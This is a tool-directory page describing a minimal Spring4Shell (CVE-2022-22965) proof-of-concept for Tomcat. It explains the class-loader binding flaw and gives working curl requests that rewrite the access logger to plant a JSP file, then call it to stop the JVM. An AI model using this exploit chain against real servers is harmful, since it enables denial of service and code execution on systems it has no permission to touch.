Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2022-22965 — Minimal Spring4Shell (CVE-2022-22965) exploit demonstration targeting Tomcat via class-loader manipulation, with a step-by-step curl-based attack chain for educational penetration testing. | Kitploit
Tools/GitHubGitHub/mwojterski/cve-2022-22965
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmwojterski/cve-2022-22965

cve-2022-22965

Minimal Spring4Shell (CVE-2022-22965) exploit demonstration targeting Tomcat via class-loader manipulation, with a step-by-step curl-based attack chain for educational penetration testing.

View Repository
24 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Minimal CVE-2022-22965 example

At the time of writing, spring-web request params binding (WebDataBinder), by default allows accessing object's getClass() method. This is an internal jvm specific implementation detail (imho shouldn't be exposed). As such, its features may change and be expanded with future versions of the jvm. That makes it an ongoing burden for the maintainers, trying to predict creative ways in which malicious actors may leverage that powerful access in nefarious ways.

In this particular CVE, the reason was a Class::getModule() method introduced in java 9. It opened up unguarded access to a class-loader.

In the example below attacker uses it to reconfigure tomcat's access logger. It normally writes short information about each request received by the server to a log file. Property pattern defines what information is written, directory where the log file should be placed, prefix, fileDateFormat and suffix what should be the file name.

The following request will target a POST endpoint of our vulnerable poc-0 application. It reconfigures the logger to write a <%{e}iSystem.exit(0);%{e}i> line for every request handled, to a f.jsp file in a webapps/ROOT directory, where %{e}i is a placeholder for a value of request's header e.

This is an unexpected/creative use of the logger and the rest is a standard JSP and Tomcat application server in action.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

After a moment, a f.jsp file will be created, picked up by tomcat, compiled and exposed to serve the traffic. The following request invokes it, which will execute an embedded System.exit(0); code and stop the jvm it's running on.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

This is an example of a DoS, but the System.exit(0); is a normal java code, so attacker can do much more.

Download Tool